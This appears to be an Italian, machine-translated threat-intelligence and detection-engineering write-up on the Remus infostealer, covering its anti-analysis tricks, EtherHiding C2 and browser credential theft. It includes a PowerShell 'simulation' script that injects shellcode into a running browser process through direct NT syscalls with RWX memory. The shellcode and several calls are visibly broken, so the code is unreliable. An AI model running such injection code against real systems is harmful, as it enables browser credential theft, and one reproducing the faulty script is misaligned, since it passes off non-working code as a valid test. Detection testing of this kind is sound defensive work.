Remus: Analisi dell’Evoluzione a 64-bit del Lumma Stealer

Sintesi

Gen Threat Labs ha identificato Remus, un nuovo infostealer a 64-bit che sembra essere il successore diretto della linea Lumma Stealer. Rispecchia le tecniche di Lumma, inclusa l’offuscamento delle stringhe, la logica anti-VM, l’esecuzione di syscall diretti e un caratteristico bypass di crittografia legata all’applicazione (ABE) precedentemente associato a Lumma. Remus modifica anche il suo modello di risoluzione C2: invece di affidarsi a resolver morti su Steam e Telegram, adotta EtherHiding, utilizzando contratti intelligenti su Ethereum per determinare gli endpoint di comando-e-controllo. Osservata dal febbraio 2026, la campagna si concentra sul furto di informazioni orientato al browser, prendendo di mira credenziali, cookie e dati dei portafogli di criptovaluta.

Indagine

Gli analisti hanno confrontato i campioni di Remus con i binari storici di Lumma e hanno trovato dettagli di implementazione sovrapposti, inclusi costrutti di codice corrispondenti, stringhe di caratteri condivisi in stile jolly e lo stesso approccio di bypass ABE. Sono stati osservati build di transizione etichettati come “Tenzor” come un ponte tra le due famiglie. L’analisi inversa mostra che Remus cerca dpapi.dll, hash dei nomi delle API esportate e tenta di iniettare shellcode in Chrome. Se l’iniezione fallisce, ricorre all’impersonificazione del token SYSTEM per recuperare la leva dell’esecuzione. Nuove aggiunte anti-analisi includono controlli dell’hash delle DLL di sandbox e un test di presenza del file PST “honeypot” destinato a rilevare ambienti di analisi.

Mitigazione

Blocca gli IP/domains C2 noti di Remus al perimetro e monitora il comportamento di EtherHiding, inclusi ricerche insolite o schemi di traffico coerenti con la risoluzione C2 basata su smart contract. Sugli endpoint, dai priorità alle rilevazioni dell’uso diretto delle syscall, hashing delle API e artefatti coerenti con l’esecuzione stealth (inclusa la creazione di un desktop nascosto). Riduci l’esposizione del browser rinforzando gli ambienti basati su Chromium dove possibile, e applica un controllo rigoroso delle applicazioni per prevenire l’iniezione di codice non autorizzato e l’esecuzione di eseguibili non firmati sospetti.

Risposta

Se si osservano indicatori di Remus, isola l’host, cattura dump di memoria e alberi completi di processi, ed esegui una focalizzata forense sui processi del browser iniettati. Blocca tutta l’infrastruttura C2 confermata, revoca le credenziali esposte e reimposta le password/token del browser memorizzati. Aggiorna le rilevazioni per includere la stringa jolly B9%????4rnO/@NQe?Nx* e la firma shellcode riportata di 51 byte.

Esecuzione di Simulazione

Prerequisito: Il Controllo Prelminare di Telemetria & Baseline deve essere passato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento.

• Narrativa e Comandi di Attacco:

  1. Selezione del Processo: Identifica un’istanza in esecuzione di browser.exe (rinominato Chrome) e ottieni il suo PID.
  2. Preparazione dello Shellcode: Crea un piccolo shellcode di lancio “calc.exe” (tipico per proof‑of‑concept).
  3. Allocazione di Memoria: Chiama NtAllocateVirtualMemory nel contesto del processo di destinazione per riservare una regione RWX.
  4. Iniezione di Shellcode: Use NtWriteVirtualMemory per copiare lo shellcode nella regione allocata.
  5. Esecuzione: Genera un thread remoto con NtCreateThreadEx che inizia l’esecuzione all’indirizzo dello shellcode iniettato.

• Script di Test di Regressione:

  # Simulazione Remus‑ABE – implementazione PowerShell utilizzando NT‑syscall native
  # Richiede di eseguire come Amministratore
  
  Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition @"
      using System;
      using System.Runtime.InteropServices;
  
      public class NativeMethods {
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtAllocateVirtualMemory(
              IntPtr ProcessHandle,
              ref IntPtr BaseAddress,
              UIntPtr ZeroBits,
              ref UIntPtr RegionSize,
              UInt32 AllocationType,
              UInt32 Protect);
  
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtWriteVirtualMemory(
              IntPtr ProcessHandle,
              IntPtr BaseAddress,
              byte[] Buffer,
              UInt32 BufferLength,
              out UInt32 BytesWritten);
  
          [DllImport("ntdll.dll", SetLastError = true)]
          public static extern UInt32 NtCreateThreadEx(
              out IntPtr ThreadHandle,
              UInt32 DesiredAccess,
              IntPtr ObjectAttributes,
              IntPtr ProcessHandle,
              IntPtr StartAddress,
              IntPtr Parameter,
              UInt32 CreateSuspended,
              UInt32 StackZeroBits,
              UInt32 SizeOfStackCommit,
              UInt32 SizeOfStackReserve,
              IntPtr AttributeList);
      }
  "@
  
  # 1️⃣ Identifica il processo target browser.exe
  $target = Get-Process -Name browser -ErrorAction Stop
  $hProcess = $target.Handle
  
  # 2️⃣ Shellcode – avvia calc.exe (Windows x64)
  $shellcode = [Byte[]](
      0x48,0x31,0xC0,                         # xor rax,rax
      0x48,0x89,0xC2,                         # mov rdx,rax
      0x48,0x89,0xC6,                         # mov rsi,rax
      0x48,0x89,0xC7,                         # mov rdi,rax
      0x48,0x8D,0x15,0x0F,0x00,0x00,0x00,    # lea rdx,[rip+0xf] ; "calc.exe"
      0x48,0xC7,0xC0,0xC7,0x00,0x00,0x00,    # mov rax,0xc7 (WinExec)
      0xFF,0xD0,                             # call rax
      0xC3,                                   # ret
      # "calc.exe" string
      0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00
  )
  
  # 3️⃣ Alloca memoria RWX nel target
  $baseAddress = [IntPtr]::Zero
  $regionSize = [UIntPtr]$shellcode.Length
  $allocResult = [Win32.NativeMethods]::NtAllocateVirtualMemory(
      $hProcess,
      [ref]$baseAddress,
      [UIntPtr]0,
      [ref]$regionSize,
      0x3000,   # MEM_COMMIT|MEM_RESERVE
      0x40      # PAGE_EXECUTE_READWRITE
  )
  if ($allocResult -ne 0) { Write-Error "NtAllocateVirtualMemory failed: 0x$($allocResult.ToString('X'))" }
  
  # 4️⃣ Scrivi lo shellcode
  $bytesWritten = 0
  $writeResult = [Win32.NativeMethods]::NtWriteVirtualMemory(
      $hProcess,
      $baseAddress,
      $shellcode,
      $shellcode.Length,
      [ref]$bytesWritten
  )
  if ($writeResult -ne 0) { Write-Error "NtWriteVirtualMemory failed: 0x$($writeResult.ToString('X'))" }
  
  # 5️⃣ Crea un thread remoto
  $hThread = [IntPtr]::Zero
  $createResult = [Win32.NativeMethods]::NtCreateThreadEx(
      [ref]$hThread,
      0x1F03FF,   # THREAD_ALL_ACCESS
      $hProcess,
      $baseAddress,
      0,          # non sospeso
      0,0,0,
  )
  if ($createResult -ne 0) { Write-Error "NtCreateThreadEx failed: 0x$($createResult.ToString('X'))" }
  else { Write-Host "Iniezione di shellcode riuscita – thread remoto avviato (Handle: $hThread)" }

• Comandi di Pulizia:

  # Termina il thread iniettato (se ancora in esecuzione) e libera la memoria allocata
  $proc = Get-Process -Name browser -ErrorAction SilentlyContinue
  if ($proc) {
      $hProcess = $proc.Handle
      # Chiudi l'handle del thread
      if ($hThread -ne [IntPtr]::Zero) {
          [System.Runtime.InteropServices.Marshal]::Release($hThread) | Out-Null
      }
      # Libera la memoria (NtFreeVirtualMemory)
      $freeAddr = $baseAddress
      $regionSize = [UIntPtr]$shellcode.Length
      $null = [Win32.NativeMethods]::NtFreeVirtualMemory($hProcess, [ref]$freeAddr, [ref]$regionSize, 0x8000) # MEM_RELEASE
  }
  Write-Host "Pulizia completata."

Sommario Raccomandazioni

1. Amplia la Scelta dei Processi: Includi altri processi ad alto valore (es. explorer.exe, svchost.exe) per catturare tentativi ABE che evitano il nome esatto browser.exe .
2. Espandi la Copertura delle Syscall: Add NtMapViewOfSection, NtCreateSection, e NtProtectVirtualMemory alla lista Syscall|contains .
3. Rilevamento Anomalia Comportamentale: Correlare grandi allocazioni di memoria (RegionSize > 1 MB) con successive NtWriteVirtualMemory nello stesso processo per segnalare pattern di iniezione atipici.
4. Whitelisting di Scenari Legittimi Conosciuti: Crea una lista di permessi per i browser che legittimamente eseguono scritture di memoria in-processo (es. tramite plugin) per ridurre i falsi positivi.

Implementare questi passaggi di rinforzo aumenterà la resilienza della regola da una 3 a una valutazione 4-5 , rendendo sostanzialmente più difficile per gli avversari bypassare.